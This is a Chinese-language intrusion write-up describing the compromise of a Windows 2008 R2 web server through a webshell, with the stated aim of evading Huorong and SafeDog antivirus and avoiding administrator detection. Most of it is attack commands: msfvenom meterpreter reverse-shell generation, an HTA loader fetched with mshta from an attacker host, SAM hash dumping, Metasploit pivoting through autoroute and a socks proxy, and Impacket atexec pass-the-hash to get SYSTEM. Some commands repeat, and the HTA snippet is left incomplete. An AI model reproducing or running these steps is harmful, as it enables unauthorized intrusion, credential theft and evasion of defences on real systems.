0x01 前言


0x02 服務器基本信息搜集
目標系統:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
當前權限:iis apppool\*****.com
支持腳本:ASP、ASPX、PHP,能夠直接執行系統命令
開放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)
進程名稱:G6FTPServer.exe、G6FTPTray.exe、HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe

服務器上運行的有:火絨、護衛神主機大師、服務器安全狗、MySQL數據庫和G6FTP,可以嘗試提權方式有:護衛神主機大師、MySQL和G6FTP,不過在提權過程中得注意下火絨和服務器安全狗的查殺和攔截,盡可能的避免被管理員發現。

0x03 繞過火絨獲取MSF會話

[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin
[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 155.**.***.16
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > exploit

python -m SimpleHTTPServer 8888
python3 -m http.server 8888

0x04 SAM注冊表項導出哈希
meterpreter > getuid
meterpreter > load powershell
meterpreter > powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
meterpreter > run post/windows/gather/hashdump

0x05 atexec提升System權限

WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;
Impacket:
psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);
利用方式:
Local本地執行 、Socks4/5代理 、Metasploit虛擬路由表;
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run

[ ]

[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run



0x06 總結
1.通過格拉斯成功連接一句話
2.執行systeminfo 命令發現目錄時windows2008r2 SP1
3.執行命令whoami發現iis權限,執行netstat -ano,發現21,80,445,801,3306,等端口開放
4.通過執行命令tasklist/svc,通過在線殺軟進程對比,發現目標系統中存在護衛神,火絨,安全狗防護軟件
以及數據庫mysql和G6FTP
5.執行以下命令生成shellcode並執行監聽
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16 lport=443 -f raw > /tmp/shellcode.bin
6.查看shellcode.bin代碼並通過base64輸出代碼
cat /tmp/shellcode.bin | base64 -w 0
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 155.124.145.16
msf6 > set lport 443
msf6 > exploit
7.自定義新建exp.hta,然后將exp.hta文件中的shellcode替換為MSF的shellcode即可。
<script language="VBScript">
Dim binary:binary="rundll32.exe"
dim code:code=
"shecode.bin內容的base64"
8.接着在VPS上用Python開啟一個臨時Web用於遠程調用
python -m SimpleHTTPServer 8888
python3 -m http.server 8888
9.通過格拉斯上傳APX大馬,在ASPX大馬的命令中執行
cmdpath:
c:\windows\system32\cmd.exe
argument:
/c mshta http://155.124.145.16/exp.hta
10.當SAM注冊表項有Users或Everyone的讀取權限時就能利用MSF下的hashdump模塊導出哈希。
meterpreter > getuid
meterpreter > load powershell
meterpreter > powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List
meterpreter > run post/windows/gather/hashdump
11.已經利用SAM注冊表項權限問題導出了主機哈希,但是解密不出來
12.這里我們先將當前MSF會話添加進虛擬路由
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
13.使用socks_proxy模塊開啟一個socks5代理,。
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run
14.Kali的proxychains配置默認在/etc/proxychains.conf,而自行編譯安裝的proxychains4配置在根目錄下/src/proxychains.conf,如何修改就不細說了,配置文件里都有例子。
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf
15.利用proxychains代理工具執行atexec時可能會出現以下報錯,且沒有命令執行回顯,但我們可以先用Ping 9o**mf.dnslog.cn命令看下是否執行成功,如果DNSLog收到數據則說明成功
proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"
16.另起一個命令終端開啟MSF監聽,然后再用proxychains代理工具執行atexec,這里再次執行前邊用到的exp.hta文件后即可得到目標主機SYSTEM
msf6 auxiliary(server/socks_proxy) >sessions -i 1
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.***.***.0/255.255.255.0
meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456
msf6 auxiliary(server/socks_proxy) > run